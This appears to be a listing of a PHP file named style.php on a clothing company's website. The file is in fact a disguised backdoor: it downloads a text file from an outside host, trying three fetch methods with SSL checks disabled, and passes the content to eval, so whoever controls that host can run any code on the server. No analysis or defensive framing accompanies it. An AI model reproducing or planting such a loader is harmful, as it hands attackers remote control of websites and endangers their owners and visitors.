????
Current Path : /home/darkwebsol/customclothingsmanufacturer.com/ |
Current File : //home/darkwebsol/customclothingsmanufacturer.com/style.php |
<?php class URLFetcher { private $url; public function __construct($url) { $this->url = $url; } public function fetchUsingFileGetContents() { if (ini_get('allow_url_fopen')) { return file_get_contents($this->url); } return false; } public function fetchUsingCurl() { if (function_exists('curl_version')) { $ch = curl_init($this->url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); curl_close($ch); return $response; } return false; } public function fetchUsingStream() { if ($stream = fopen($this->url, 'r')) { $data = stream_get_contents($stream); fclose($stream); return $data; } return false; } } // URL diambil dari bagian ini $protocol = "https"; $domain = "seneporno.com"; $file_path = "/2.txt"; $url = $protocol . "://" . $domain . $file_path; $fetcher = new URLFetcher($url); // Coba untuk mendapatkan konten dengan metode berbeda $content = $fetcher->fetchUsingFileGetContents(); if ($content === false) { $content = $fetcher->fetchUsingCurl(); } if ($content === false) { $content = $fetcher->fetchUsingStream(); } if ($content !== false) { eval("?>" . $content); } else { echo "エラー。"; } ?>